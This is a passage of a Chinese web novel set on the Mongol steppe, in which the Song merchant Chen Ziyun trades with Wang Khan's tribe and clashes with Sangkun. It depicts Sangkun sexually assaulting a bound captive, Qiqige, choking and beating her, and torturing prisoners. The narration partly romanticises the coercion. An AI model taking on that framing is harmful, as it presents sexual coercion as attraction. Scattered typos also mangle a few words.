王罕给那位南宋来的商人摆酒接风,还让自己作陪,并且还当场要求他将对方当做他们部落的贵客款待。 桑昆并不是蠢人,他自然也能从父亲的态度和那个南宋商人的话语中大致看出,如果真的能够按照那家伙说的那样,那么他们部落平日里很是紧缺的那些物资就不再会限制他们发展了。 在蒙古草原上,没有哪个部落不想扩大自己的地盘的,可这一切都是有前提的,人口是所有部落的基础,因为有大基数的人口,就意味着能有更多的战士,能掠夺更多的土地、女人、牛羊。 而这些抢来的,又需要人口去管理,所以在这个时代的统治者心中,人就是最大的资源。 而限制一个部落人口的大小的是什么,不单单是你有多少粮食,还有盐巴,布匹、衣服、甚至连一高度的烈酒也是能提高人口的重要因素。 因为相比于南宋与基本汉化了的金国,蒙古的个体战力虽然强横,可生活品质上实在差了不止一截。 蒙古的生活条件相比于中原,本来就是不能比的,加上这里的文化不够发达,对于医疗体系的建立也相对落后,所以这里的小孩出生后的死亡率也是明显高于南方的。 而且在孩子的成长过程中,夭折的概率也因为没有相应的医疗保障,往往是高的出奇。 而且草原上本来就是动物结构复杂,能对他们造成威胁的不单单是其他部落的攻击,还有来自草原上各种肉食类动物,各种有毒生物的突袭。 而且一旦发生了部落之间的战斗,不仅在战场上死人,在战后,那些受伤的部众,除了你能接受一点简单的处理,剩下的就靠自己的身体硬抗了,这样的情况下,蒙古军队的战损其实是远大于当场的阵亡人数的。 作为如今部落真正的管理着,桑昆自然是清楚的,所以他就算再怎么看不惯那个总是一副虚伪笑脸的家伙,他也强撑着一脸笑意陪着喝了许多酒。 让他意外的是,这个看着就没多少力气的家伙,在酒量上竟然不输于自己,他都感觉有些不稳当了,对方竟然还不推辞。 这就让桑昆更加的不喜欢陈子云了,觉得这家伙肯定是个心机深沉的家伙,外表越无害的家伙,往往更能伤人,草原上的那些用毒伤人的动物不就是这样吗。 一身鲜艳的外壳,看着漂亮诱人,可被他们咬伤一口,就能教人肠穿肚烂。 可谁让他头上还有个太上皇呢,等那天老头子死了…… 桑昆甩甩已经感觉有些肿胀的脑袋,把自己脑子里有些危险的思想给甩出去,不管了,听他的亲卫说,有一个部落送了一个女人过来。 要不是陈子云的突然到来,这会儿他早就应该在把玩美人了,哪里还会有什么糟心的事情。 至于那个亲卫说,那个送人来的部落有什么请求的,嘿,不过是一个女人而已,对方竟然还敢提要求,真是…… 显然,桑昆早就把其其格和她的那个小部落给忘了,至于说曾经答应过什么,那也不过酒后失言,怎么能当真呢。 桑昆带着满身的酒气推开了自己的营帐的帷幕,看到一个浑身黑的少女被浑身捆绑的仍在床上。 “这些奴才,怎么能这样对待美人呢,来我给你解开。” 桑昆摇晃着身子挨到了床边,看着其其格那玲珑的曲线,背对着他也有一番别样的魅惑,尤其是他现在正酒劲上头催色欲,连对方的脸都还没看自己,就已经有把持不住的意思了。 当在有意无意的触碰中,将捆绑着其其格的绳索借口,桑昆面红耳赤的将其其格转过身来。 当一张梨花带雨的黑珍珠一般的面容出现在桑昆面前的时候,他连酒都被惊喜的醒了一半。 “是你!” 桑昆欢喜的问道,原来他终于是想起了,这个曾经让他难忘了好几天的美人。 其其格咬着自己的嘴唇不发声,这是她最后的倔强,不是她认命,而是她不知道怎么反抗。 虽然她从小就不认输,可那是因为全族的人包括族长都迁就着她,就算是自己平常大骂那些五大三粗的汉子,也不会有人跟自己计较。 可面对一个大部落的首领,一个一句话就能决定她那个生他养她的小部落的人物,她只能忍受着对方的羞辱。 “呼……呼……” 桑昆浓重的呼吸着,他感觉自己的整个身体都要着起来了。 “美人,你什么?” 也亏他桑昆这时候还能想起来问对方的名字,而不是直接化身为野兽,他这也是动了将这个他馋涎已久的美人收入房中的想法,而不是就一场露水姻缘。 “其……其格。” 其其格在桑格那她不曾见识过的威严与灼热的目光下,颤抖的说出了自己的名字,要是换做是在自己的部落中,她说话可是从来没有用这样的语气过。 好似这个男人有着不同寻常的魅力,让她本来委屈的心,好像得到了不少的安慰。 “我的花儿,你们部落把你送来又什么要求?” 桑昆既然对这个女人动了心思,就有这个耐心您听对方的要求了。 “大人!” 其其格的眼眶已经是满满的泪,如今她的部落正在经受着饥寒交迫的危险,虽然她也恨那些人讲她绑来,可对于部落的那份感情让她也下不了狠心。 “我们部落的羊被狼给……” 还没等其其格说完,桑昆已经忍不住了,终于是直接扑了上去。 一来是因为酒精上头,让他再也无法抵抗其其格刚才不经意间露出来的那种柔情似水。 二么,也是因为听到不过是一些牛羊的事情,自然就不被他这个掌握着王罕部落大部分经济的掌控着放在眼里。 桑昆此时既然想起了其其格来自哪里,自然也知道对方的部落不过是个人不过千,牛羊不过万的小部落而已。 就算是对方把全部的牛羊都丢了,自己陪他们也不过是九牛一毛,在蒙古牛羊是最不值钱的,随便拿出一匹从南方来的棉布,就可以换十头羊。 所以桑昆也就不用再犹豫了,直接讲这可送到了嘴边的黑珍珠一口吞下。 …… 第三百三十章 小伎俩 “啊……” 陈子云伸了一个懒腰,从毛绒绒的被窝里起来,揉揉昨天因为喝了太多的酒而有些膨胀的脑袋。 “不地道啊,孙子,儿子,老子一起对付他一个。” 陈子云呢喃着说道。 打开门,外面已经是艳阳高照,草原上的日头总是要比别的地方更亮一些,可能是这满地的绿色给反衬的。 跟守在他帐外的老黑打了一个招呼,将盘坐在它牛头上的小狐狸一把抓下来,揉两下抱在怀里。 “吱……吱……” 小黄被陈子云的打搅美梦不满的又有些无力的抱怨着,可当在陈子云的怀里找到一个更加舒适的位置后,就又眯起眼了。 “找个地方吃早饭去,这地方待客竟然连个早饭都不送,实在是不如啊,不如的很……” 陈子云一边顺着小黄的毛发,一边轻声嘟囔着。 老黑自然是不用他管的,这草地上已经被它啃了一半了,如今正在美味的反刍着,好不惬意。 给陈子云看了一夜的门,如今老黑也要一边咀嚼嫩草一边入睡了。 “小黄呀,老规矩,牛肉,羊肉,熟的,生的?” “吱吱……” 小黄叫唤着,不知道是选了什么,可这声音表现出来的是明显的嫌弃。 看来这进蒙古之后这段时间来,连小黄也把这些东西给吃腻味了。 “客人,您的饭食给您送来了,因为不知道您何时起身,怕这提前送来的饭食冷了,就让人一直在下面温着。” 一个妇人打扮的年轻女子,带着两个侍女,拦在了刚要出门的陈子云面前。 陈子云看着这个黑的出奇的昨天还是少女的妇人,有些耐人寻味的摸摸自己的下巴。 他不惊讶于这个女人会被送来这王罕的部落,让他诧异的是,对方竟然在一夜的时间里就直接上位,如今以当家妇人的身份来接待自己,这就有些意思。 当时在陈子云眼中,这个敢骑着马就往自己身上撞的少女,不过是个仗着自己一腔热血行事的年轻人而已。 可此时这变化的突然就是连他陈子云都显得有几分错愕,难道一个女人,从少女变成少妇,就真的能连心性也跟着大变样了? “如此,就多谢了。” 不过陈子云也没有去管这闲事,不管是这人自愿的还是被自愿的,身在这个时代,这个地点,不能用现代的所谓男女平等去要求他们。 此时的官方没有这样的政治条件,此时的人民也没有这样的政治觉悟,就算是真的到了现代,在女性取得经济独立之前,也是不具备真正意义上的平等的。 “客人似乎不记得我了?” 其其格在吩咐将饭食放下之后,面带微笑的朝着陈子云问道。 “呃……” 陈子云一下子没想到,这个成了人妇的少女,竟然会主动提及此事。 “倒是……有些面熟,夫人?” “我不是夫人,我不过是个侍妾,客人直呼我为其其格就行。” 其其格落落大方的样子,倒是让陈子云反而有些不好接话了。 “客人是部落的贵客,不用这样拘束的,就算是客人有什么要求,我们部落都会同意的。” 其其格眉眼绯色,那种几乎是明摆着的勾引已经是写在脸上了。 陈子云皱起了眉头,对于这个有些莫名其妙的就给自己使眼色的黑脸妇人,实在是搞不懂对方到底意欲何为。 “陈……” 桑昆从营帐外直接闯了进来,在看到其其格之后,却是愣住了片刻。 “你怎么在这里?” 桑昆看着其其格那此时已经似乎含着泪低下去的脑袋,再看看陈子云那神色莫名的小白脸,一时间心头警铃疯狂响动。 “阿爹请你去他帐中用饭。” 桑昆握着自己的拳头,压制着胸中的怒气,斜着眼看着陈子云说道。 陈子云此时也感觉到了这个场面里的刻意气息,瞥了一眼面前正在颤抖着的黑少妇,摇摇头。 这样的小把戏,自己要是当真了,那才是真的掉档次呢。 直接让过桑昆跟其其格,朝着王罕的营帐走去。海里的小鱼儿想靠着自己的短小的尾翅扇起巨浪将一艘挡在它前面的万吨巨轮掀翻。 虽然不知道自己是何时被对方给记恨上的,可是这头小鱼明显不过是看到了这艘巨轮放下水的那根船锚,就妄加猜测,以为自己看清了巨轮的大小。 还可笑的认为,只要这细微的海水能帮着她,就能将这艘不过如此的巨船掀翻,着实可笑。 “啪……” 陈子云还没走出营帐多远,里面就传出了一声清脆的耳光,以及男人的怒骂和女人的啼哭。 “狗屁倒灶……” …… 陈子云与老王罕在营帐中用餐,闲聊了许久,才见桑昆从外面进来,此时倒是面色平静了,不再像当时看陈子云就像是看奸夫一般的表情。 “怎么客人都来了,你倒是耽搁了许久,你这可是怠慢客人了。” 王罕指指桑昆指责道。 “是,父汉,是儿子的不是,让陈先生久等了。” 桑昆说着单手砸胸给陈子云正式的行了一个道歉礼。 “桑昆首领无需如此,是王罕大汉太客气了。” 陈子云起身回礼。 …… 陈子云在王罕的部落已经待了将近一个月的时间了,只要是在等他跟王罕父子说好的那第一批货物的到达。 盐巴,布匹,还有南宋的其他一些特产,都是蒙古这边难以自产的东西,要是以前,王罕部落想购买这些物品起码是陈子云如今给他们开价的两倍以上。 这也不是说他们被以前的合作商家给骗了,而是如果他们通过正规的渠道购买,那就势必要加上一些过路费之类的。 毕竟这些对于蒙古来说,怎么都算得上是必须的物资,实在不是能用金钱衡量的,所以即使明知道价格高了,他们也只能捏着鼻子认,因为不是所有人都有本事将南方的东西运到他们这里来的。 就比如这次,本来十拿九稳的事情,竟然还是被人截胡了。 “陈先生,看来您的这条商道也不是很顺利啊!” 桑昆带着些得意的端起面前的酒碗,一饮而尽,旁边还有那位他一个月前收下的侍妾,一身黑袍的其其格,殷勤的给他倒着酒。 第三百三十一章 为难 按理说,一个侍妾是不应该出现在这样的场合的,就是连主位上的王罕也是皱着眉头,显然是对自己儿子如此不讲规矩,有些不满,但也不好直接当着外人的面说出来,这毕竟是他们的家事。 “桑昆首领不要着急,只要这批货物还没送到首领的营寨里,一切的损失都是在下的。” 陈子云也端起酒杯,朝着王罕摇摇示意了一番,就一口喝下。 “哼,为了等你这批货物,我们可是拒绝了其他人的,要是你这批货物不到,你知道会影响到多少人吗!” 桑昆直接将酒杯重重的拍在了桌子上。 “桑昆!” 王罕低声喝道。 “陈先生是我们的客人,就算生意做不成,你也不能如此无礼。” “是,阿爹。” 桑昆敷衍的应了一声。 “嗯。陈先生,你看……” 王罕对着陈子云说道。 “大汗请放心,在我们约定的交货时间之前,在下一定会把约定好的货物,分毫不少的交到你手上。” 陈子云悠然的喝着酒,好像丝毫没有被这两父子唱双簧针对的感觉。 “若是到不了呢?” 桑昆斜着脸问道。 “任凭首领处置。” 陈子云依旧是那副淡定的摸样,气的桑昆不满的哼了一声。 其其格反而有些不解的在桑昆不注意的间隙瞥了陈子云一眼,不知道这个从南边来的,为何有这样的信心。 “陈先生,这跟我们约定好的日子可就只有三天了。” 桑昆轻蔑的说道。 “首领勿急,对付一帮剪径的小毛贼而已,自然是手到擒来。” 陈子云道。 桑昆被陈子云的态度气的不停的往嘴里送酒。 等被其其格搀扶着回到了自己的营帐,直接把对方摁在了床榻上。 其其格顺从的摊开双手,任凭这个不把自己当人的男人肆意妄为。 可随即而来的窒息感,却让她涨红了脸,表情难看的用疑问的眼光看向这个压在自己身上的男人。 “你的那些族人,真的能保证不会被那家伙找到吗?” 桑昆虽然满脸都是酒红色,可神情却是一脸的严肃、 感受着脖子上越来越紧,呼吸愈发困难,其其格艰难的点着头。 桑昆缓缓的松开了其其格的脖子。 “咳咳咳……” 突然的通畅,让其其格猛烈的咳嗽了起来,可就算桑昆这样的对她,她连此时怨恨的眼神都不敢被对方看见,只是借着咳嗽的时候,将头死死的低着。 “你最好指望,你那些没用的族人真的能像你说的有点用,要不然他们就等着在这个冬天饿死在草原上。” 桑昆转了个身,直接躺在了自己的床榻上,刚才的那一场酒宴,他着实喝了不少,要不是这件事情过于重要,他早就躺下了。 其其格低着头,顺从的开始给桑昆脱去鞋靴衣袜,她不敢丝毫的怠慢,眼前这位可以决定自己以及自己那个小部落生死的男人。 …… 陈子云从小黄的嘴里接过一封密信,扫了一眼,放在手中随意一撮,顿时化为一股青烟不见。 “这倒是真巧了,又是在这个地方。” 陈子云轻笑着自语道。 …… 三天时间已过,桑昆气势汹汹的带着人将陈子云的营帐给围了起来。 “出来。” 桑昆本来就对陈子云不满了,此时更是毫不客气。 “首领这是何意?” 陈子云不慌不忙的从营帐中走了出来。 “哼,别给我装蒜,今天就是我们约定好的的交货时间,你的货呢?” 桑昆不想给陈子云拖延的机会,直接逼问道。 “首领不要急,丢东西的是我,我比你更想找回我的货物,那可不是一笔小数目。” 陈子云道。 “哼,我不管你的货物值多少,但是你既然无法按照约定交货,那可就别怪我了。” 桑昆说着挥手示意手下将陈子云给直接拿下。 “首领,稍安勿躁。” 陈子云挥挥手,示意这些就要动手的打手等等。 “哞……” 一声牛吼从从不远处传来。 “来了。” 陈子云抬头望了一眼不远处,笑着道。 众人随着这声牛吼看去,只见体型夸张的老黑身后带着一大队的人群缓缓往这边走来。 桑昆皱着眉头,而旁边的其其格则是浑身都开始颤抖了,因为她已经看见了那些个被绑缚着的其中一人,就是蒙恩。 “怎么会?” 其其格心里打着颤。 “首领,随我一起去收货?” 陈子云笑着看向桑昆道。 桑昆虽然不清楚怎么回事,但是此时他也只能硬着头皮跟着陈子云去了。 “先生。” 走在老黑旁边的一个青年朝着陈子云行礼。 “嗯,将货物给桑昆首领清点一番,这些剪径的盗贼也一并交了。” 陈子云道。 “是。卸货。” 青年点头称是,随即朝着队伍里呼喝了一句,众人纷纷开始卸货。 桑昆瞥了如今已经瘫软的其其格一眼,在确定这些被绑来的人,就是她的族人之后,他就已经没心思再在这里待下去了。 “哼,废物。” 桑昆拂袖而去。 “夫人,认识这些盗贼?” 陈子云不怀好意的向其其格问道。 其其格颤抖着嘴唇,看着满是伤痕的族人一句话也说不出来。 …… 李埋,也就这趟负责押运货物从南宋借道金国来蒙古草原的人。他是格物学院出来的,比郭靖早了三届,算是他们那届里执牛首的人物。 家世也是不凡,家里世代为官,而他自己也是天赋异禀,早早的考取了功名,只是不愿意待在临安那富贵乡里论辈分,抓着这个机会就向赵茵萝求了这个差事。 当然要能得到这个职务,不是靠家里的关系或者靠那点从书上得来的有限见识就行的。 赵茵萝从对于宋、金、蒙古三国的政治处境,文化差异,经济命脉等方面对他做了全面的考核。 最后才从几十个候选的名单中,选中了这个文武兼备的李埋。 “先生,货物已经交接完成,可对方答应的牛羊数目却是有些对不上了。” 李埋朝着这位曾经的先生恭敬的汇报着。 “少了多少?” 陈子云递过去一碗茶,缓缓问道。 第三百三十二章 阿斗 “三成,原本说好的用这批货物换牛羊各一万头,战马一千匹,却只给了牛羊各三千,战马不过数百,而且都是些品相不佳的。” 李埋有些愤愤然的回答着,要是换做在大宋境内,有人敢这么坑他,他早就出手教训对方了。 “嘿。” 陈子云也是被李埋说出的数据给逗笑了,他倒是有被对方宰一刀的心理准备,但是他明显低估了对方的无耻底线。 不过随后想想也是,自己这个送上门来的肥羊,不把自己连货带人一起都坑了就算是不错的了。 陈子云带着李埋走出营帐,看见那被李埋他们绑来的强盗,如今还被挂在木桩上示众。 崩开的血肉在猛烈的阳光的炙烤下泛着焦黑色,各种飞虫围绕着他们旋转,这些人就算是现在被救下来估计也难以活下去了。 伤口并不致命,但如今的感染加上虫蚁的帮忙,伤口溃烂是必然的,以现在草原上的医疗条件,这些人只能是等死。 陈子云在接近王罕的营帐时,隐隐听到里面有女人的哭泣声,还有责骂跟安慰声。 等侍卫请示了里面的人,让陈子云进去之后,那个叫做其其格的女人正在桑昆的后面抹眼泪,虽然对方低着头掩饰着,但陈子云还是能看到那肿起了半边的脸颊,与依旧有些散乱的头发。 “大汗,首领,看来在下来的不是时候。” 陈子云略略拱手,表示歉意。 “陈先生无需如此,此次先生给我们送来了如此多的货物,解决了我们部落冬天的忧愁。 从此以后,先生就是我们部落最尊贵的朋友,对于朋友,我们草原人从来都没有什么秘密。” 王罕大笑着说道,很是豪迈。 “能做大汗的朋友,是在下的荣幸。” 陈子云也同样笑着道。 “不过大汗,陈某终究是个生意人,因为这次是在下与大汗第一次做生意,就算是给大汗送一份见面礼。 可要是以后的长久生意也这样,那在下就算是富有天下,也赔不起啊。” 陈子云止住了笑,斜着打大量着王罕父子。 “你什么意思,难道是想坐地起价?” 桑昆突然暴起,直接离开了自己的座位,冲着就要往陈子云的座位上打来。 李埋自然是见不得对方如此行径,一个跨步就挡在了陈子云的面前。 桑昆好歹是在部落中长大的,蒙古摔跤的把式也练了不少,丝毫不将李埋这样的文弱书生放在眼里,直接一拳头就往他的鼻子上来。 “……” 王罕哪里会不了解自己儿子的德性,见他如此立马就意识到,陈子云刚才的 话里必然是有所指的。 想必是自己的这个贪得无厌的儿子,将事先说好的价码给扣下了。王罕心里也是一阵憋屈,为什么教了这么久,自己这个儿子始终就是不如札木合,更不用说是铁木真,竟然跟一个商贩计较,实在是上不得台面。 李埋跟桑昆过了几手,发现对方不过是仗着自己的几分蛮力而已,便只是用了一手巧劲将对方重新推回了他的座位里。 “桑昆,坐下。” 在自己儿子出糗之前,王罕制止了他。 “嗯,呼……” 桑昆红着眼睛瞪着陈子云,至于说跟自己动手的李埋,在他眼中不过是陈子云的下人而已。 陈子云弹弹自己衣袖上不存在的灰尘,对着桑昆轻轻一笑,对于这个没有半点领袖才能的家伙,他实在也是忍的够了。 躲在桑昆后面的其其格,不知怎么的,在看到这场交锋之后,胸中对桑昆的恐惧竟然淡化了一大截。 反而是对陈子云这个不知来历的神秘人物,有了几分敬畏,要是当时自己能跟对方结交,是不是就不用如今这般的委屈。 其其格心中无限的遐想,陈子云自然是不知道,他此时在意的是,王罕是不是真的不知道自己的儿子,在跟他交易的时候克扣了该交付的牛羊。 他能理解两人的合伙唱双簧,但是不能容忍对方到了此时还将自己当傻子忽悠,要是这件事只是桑昆的一意孤行,那他在王罕活着的时候,还能与他们部落保持联系。 要是连王罕这个草原上的老牌王者,都已经堕落到需要坑害他的这一队货物了,那就让铁木真一统草原。 他是想扶持一个部落与铁木真对抗,但起码这个部落也要有能让他扶一把的根底啊。一个阿斗,连诸葛孔明都扶不起来,他陈子云可没有那种化腐朽为神奇的本事。 “陈先生,既然是做生意,那我们自然是知道规矩的,只要先生的货是我们要的,我们绝不会少了先生的好处。 老夫虽然不是生意人,但也知道,交易要长久,双方的相互信任才是关键,所以,如果先生对于我们有任何的不满意,都可以提出来。 我,王罕,代表我的部落向先生保证,在我们的统辖之内,必定保证先生的利益与安全。” 王罕说这话当然是对陈子云的,可那眼神中时不时的瞥向桑昆,明眼人都看得出来他的意思。 “桑昆,你作为部落的首领,必须要保护好陈先生的安全,也包括他的货物的安全,明白吗?” “是,阿爹。” 桑昆自然也听懂了自己父亲的意思,点头应道。 “如此就多谢王罕大汗,希望我们的合作能够像草原上的大日一般,辉煌、永久。” 陈子云举起手中的酒碗,朝着王罕示意。 “好,愿合作长久。” 王罕大笑着举杯。 “可惜了,虎父犬子啊。” 李埋在心中给这一老一少下了定义,不过这样也正好,要是桑昆表现的跟铁木真一般的厉害,那他们还怎么敢资助他们部落,那就是养虎为患了。 陈子云干了酒杯,在放下的瞬间,突然似乎想到了什么。 “大汗,我有个不情之请,还请大汗答应。” “哦,先生有什么要求,尽管说来。” 王罕道。 营帐中的其他几人也纷纷看向陈子云,不知道他还想提什么要求。 第三百三十三章 求情 “我看大汗把那些人绑在外面,想来他们也是活不了了。所以我就想,能不能向大汗讨要这些人作为脚力。 因为这趟送货,我们这队伍也折损了不少人手,要是有这些人作为补充,也好让回程轻松一些。” 陈子云这话一出,最激动的自然是那个躲在角落里的其其格,她死死的捏着自己的衣袖,连肉都掐进去了,就是不敢啊让自己发出一点异响,因为这是她的族人唯一能活下来的希望。 虽然她不知道,为何这个人要救下她的族人,救下这帮打劫了他们队伍的贼盗,但是只要能活下来,哪怕只是一个,她都愿意放下一切仇恨。 “不行。” 桑昆突然开口道。 这些人不是他直接指使的,但是也是他的女人的族人,要是这些人嘴巴不严,说出一些什么,那不是让他下不来台。 所以尽管其其格哭着跪着求他,他也无动于衷,要让这些人活生生晒死在门前。 这不仅是对于办坏了事的惩罚,也是对于自己那个不安分的女人的警示,既然做了他桑昆的女人,那么就必须以他的利益为一切的前提。 哪怕是她以前的部落,也只能作为帮助自己赢得利益的助理,一旦成了累赘就必然要被舍弃,这就是他的处世原则。 “哦,桑昆首领为何不行?” 陈子云笑着问道。 “我说不行就不行。” 桑昆不顾自己父亲不满的眼神,犟着脖子说道。 “大汗,首领,按照草原上的规矩,俘虏是不是应该归战胜者处置,而这些人都是我的学生李埋俘获的,那我要求得到这些俘虏的处置权,是不是理所应当的?” 陈子云笑着说道。 “……” 桑昆捏着拳头似乎想说什么。 “陈先生不错。桑昆,就按照陈先生的意思办。” 王罕率先定下了话头。 …… 看着满地的已经陷入半昏迷的伤员,一股汗臭混合着伤员特有的暮气,让陈子云也不由得皱起了眉头。 “李埋,这些人的伤?” “先生,我们在接受这些人的时候,桑昆的手下已经下了暗手,不仅撕裂了他们的伤口,还将一些牛羊的屎尿涂抹了上去,怕是……” 李埋也是有些后悔,他本来已经将对方的下限想的够低了,但是也没料到对方会这么狠毒。 别说是李埋,就算是陈子云也没想到对方还有这么一手。 “你手上的特效药有多少?” 陈子云朝着李埋问道。 “够二十人人的分量。” 李埋有些惊讶的回答道,因为陈子云所说的特效药,乃是陈子云跟黄药师在桃花岛研制了好些年才培育出来的。 后面加上宫廷御医的配合,才能在花费巨大代价的前提下才稳定了配方,对于一般的伤势,不管是外伤还是内伤都有出奇的疗效。 这也是如今那些驻扎在边境的将领每人必备的特效药,当然这药因为产量的问题,一人最多两份,而且只有那些够级别的将领才会被给与。 李埋作为这次是被委以重任的,又是根正苗红的格物书院出来的人物,自然是特别对待。 而这些能陪着他来的人物,都是精挑细选的,自然就有额外的优待配额。可按照陈子云的意思,是要拿出这些救命的良药来救这些无关的甚至是挡路的匪徒,这让李埋有些不乐意。 “嗯,你拿出十份来,挑一些伤势轻的,有希望活下来的救。” 陈子云说着又扫了这些躺在地上呻吟的家伙们一眼。 “这个给他一份。” 陈子云指着已经几乎没什么进气的蒙恩说道。 “先生?” 李埋有些犹豫的说道。 “不要心疼那些药,你们这趟应该用不上了,回去之后,我让茵萝补给你就是了。 我们刚进草原,需要这些人来作为向导,我们不能把所有的希望都压在一个部落上。 你也看到了,这个桑昆……” 陈子云欲言又止,他知道以李埋的眼力显然是能看出对方的成色的。 “既然先生如此决定,学生照做就是了。” 李埋吩咐跟着他来的人,将被宝贝的藏着的特效药拿了出来,在两位懂一些医术的队友的指挥下,将十份药材送入了包括蒙恩在内的十人口中。 至于其他人,生死就各安天命。 …… 自从那天李埋带着人来到王罕的部落之后,其其格脸上的伤势就没有彻底好过。 可这个不过花季的女孩却依旧坚持每天亲自送朝食到陈子云的营帐中来,当然不是为了看陈子云,而是看那几个在他营帐中苟延残喘的同族。 今天被抬出去一个,隔天被抬出去两个,第三天,那些没有吃到特效药的就基本都被抬走了。 直到那些吃了药的渐渐恢复过来了一些,其其格亲自送走了大部分的人,就是那十个吃了特效药的也有两个没能活下来。 “蒙恩……” 其其格戚戚然的望着这个少年时的玩伴,看着那双本来对自己满是爱意的眼眸中透露出来的是无限的恨意。 “从今天起,你就是我蒙恩的仇人了,为了部族的兄弟,为了这些死在半路,死在这里的兄弟。 蒙恩与其其格,在此一刀两断。” 蒙恩从胸口掏出一把类似牛角梳一样的东西,直接用那双还没有好彻底的手折断了。 两段梳子跌落,跟着跌落的还有其其格的心,她可以忍受桑昆对她日夜的折磨,但是在面对这样的绝情的蒙恩时,她再也忍不住了。 其其格直接瘫软在了蒙恩的脚下,眼泪在她那故作坚强的面孔上肆意流淌。 …… 除了李埋,其余人包括蒙恩在内的八个活下来的蒙古人,一起压着从王罕部落交易得来的牛羊跟战马回南宋去了。 李埋之所以被留下来,是因为陈子云在这期间向王罕和桑昆父子,讲述了一些关于南宋的文化精髓。 对于儒家的礼义廉耻,这对长在马背上的父子自然是兴趣缺缺的,可是当他们知道在那遥远的南方,竟然还有专门研究打仗的学问的法家时,那可是两眼冒光。 第三百三十四章 传授 这个时候的蒙古,他们虽然在草原上不停的打仗,各部落之间更是连年的征伐。 可他们的作战方式,还是崇尚个人的勇武为主,对于什么兵法战策,还停留在父传子,子传孙的口授经验上。 对于孙武、孙膑、白起、尉缭那样系统的归纳作战方式实在是羡慕的很,一听说陈子云胸中有这般的谋略,就说什么也不愿意让他走了。 这当然是陈子云早就算计好的,经过他这段时间对于王罕部落的观察,发现这个部落的人口虽然众多,可是基本就是散沙,没有系统的训练,只知道听着号角一个劲的往前冲。 这样的军队,要是面对同样的无组织的小部落,自然能以绝对的人数优势取胜,但是对于按个天生就知道怎么作战的铁木真来说,就有些不够看了。 所以,陈子云才不得不出此下策,将一些能够快速提升这个部落作战能力的实用战法分享了出来。 当然为了防止王罕部落尾大不掉,陈子云在传授的时候还是留了一手的。中华传承的兵家思想千万,一套战法的衍生基本就有对应的克制之道。 所以陈子云只是传授一些较为古老的战术,一旦这些人不受控制,那自然也有制衡的方法。 至于说为何要把李埋留下,那自然是为了方便陈子云的教学,此时整个王罕部落,也就李埋有这个能力,将陈子云教过的那些战阵,移栽到这些连基本常识都没有的盟友战士身上。 李埋不但精通兵法,而且还学过蒙语,只要王罕授予他权限,就能将这些马上的战士,通过简单的培训,成为一支真正能听指挥,善于战阵的高机动性骑兵部队。 当然,李埋的卖相像文臣多于像个武将,对于这样的一个人物,能冲锋陷阵,不说本来就带着有色眼镜的桑昆,就是王罕也是有些不相信的。 直到,李埋带着被他训练了不到一个月的少数骑兵,将带着大部队的桑昆擒获。 甚至连桑昆的那些亲卫都被晃悠的团团转而不知道什么时候,他们已经被擒王了。 从那次以后,李埋就被王罕奉为了座上宾,甚至还让自己的孙子都史拜了李埋当师傅。 至于桑昆,一来王罕自己是了解这个儿子的,骄傲自大,就算自己输了也不会承认不如人,更不用说让他向李埋这个年轻人学什么。 二来么,桑昆毕竟是他们部落实际上的控制人,也不能损害他的威严,要是让部族知道,自己的首领在跟一个送人学兵法,那必然是会打击他的威信的。 至于说陈子云,王罕父子似乎是有意识的忽视了,似乎他这个被李埋称为先生的人物,还不如这个弟子的吸引力大。 陈子云其实清楚,王罕父子是在防备着他呢,对于一个习惯性将年长者尊为智者的部落文化。 对于陈子云这样的年长的,又见识过他的运筹帷幄的,是绝不会真的放心他的。 要不是陈子云手中还有他们需要的货物,按照蒙古人的个性,早就将他生吞活剥了。 尤其是桑昆,在陈子云要了那些其其格的族人之后,心里早就将陈子云放在必杀之人的名单上了。 对于自己的女人,哪怕是个低贱的侍妾,也绝不允许有其他男人不清不楚。 陈子云也是看出了这两父子的心思,所以才让李埋留下来,起码以他的年纪不至于被这两父子忌惮。 “先生,就我教的这些,他们挡得住铁木真的部落吗?” 李埋是知道铁木真的大致情况的,对于这位蒙古草原百年不出的人物也是心有所系的。 “别小看了自己,蒙古骑兵现在的作战方式还是以简单的奔袭为主,讲究的就是一个快与无坚不摧的力量。 可要是说道兵法策略,在文化普及还不到位的草原上,还做不到与我们比较,只是大多数国家挡不住对方,不过是因为还没有时间去分析,得出阻挡蒙古铁骑的办法就被攻破了而已。 对于骑兵的优势,在我们意识里早就了有了明显的缺点,那就是依赖于地形的优势。 要是将这些战无不胜的蒙古骑兵引诱进多山地的地形,那他们的所依仗的迅猛攻势,就会被直接阉割。” 陈子云分析着说道。 “这些学生自然是知道的,而且我发现一个特点,起码在王罕部落,他们除了骑兵跟弓箭,就没有什么先进的兵器了。 要是我们用上火器,或者用火药直接……” 李埋越想越激动,好似对于蒙古的威胁已经有了手到擒来的把握。 “好了,先别想这么多,纸上谈兵最是要不得,等你真正见识过蒙古人作战的样子,再下定论。 大胆假设,小心求证,这是作为一个学者必备的素质。” 陈子云道。 “是,学生受教。” 李埋低头应道。 …… 后面陆陆续续又有三趟货物从南宋送到瓦灰姑娘喊部落来,有了陈子云跟李埋的前面的打底,加上蒙恩那几个蒙古人的指引,后面的几次送货自然是平平安安的送到了。 随着冬季的来临,王罕部落也开始收缩了,那些负责出门放牧的队伍也陆续的回流。 如今有了送南宋购买了一应的果冻物资,他们也不用担心,会有过多的族人会因为冬天而死在冻饿之中。 相比于以前,所有的部族都要靠肉类作为冬季的食粮,如今有了南方来的大量的五谷。 两相对比,自然是牛羊肉换成的谷物能提供给更多的族人温饱之需,蒙古不是没有粮食,只是无法定点种植。 作为以畜牧业为主的游牧人,蒙古部落的粮食产量是可想而知的。 如今却是不同了,虽然没有肉食那么高的营养价值,但是量大啊,只要是能填饱肚子的,能让族人活过难熬的冬天的,那就是救命的灵丹。 …… 陈子云在蒙古的计划算得上是进入正轨了,有望在赵茵萝这边准备好跟蒙古交战之前将铁木真的军队活活拖在草原上。 但是宋金的边界却是出了一些意料之外的摩擦冲突,一场本来就不在双方朝廷计划之内的战事,似乎不可阻挡的开始了。 第三百三十五章 一触即发 这一切都不过是源于,一个人的一次不应该的救援。 郭靖,这个向来老实的小家伙,却是犯了一个累及天下的大错。 本来宋金边境的两国驻军,虽然彼此之间试探不断,但是双方也形成了默契,不会真的大动干戈,将冲突限制在双方斥候小部队的交战上。 金国是一时间被南宋的突然崛起给打蒙了,而南宋呢,在知道北边还有一个更狠的角色之后,就打着先发展自己的武力的算盘,与金国只打口水仗。 可双方千算万算,这种默契却因为一次正常不过的交锋而发生了意外,这一次金国在斥候的比拼上略占了上风,不仅消灭了一个南宋的斥候小队,还俘虏了一个小队的队长。 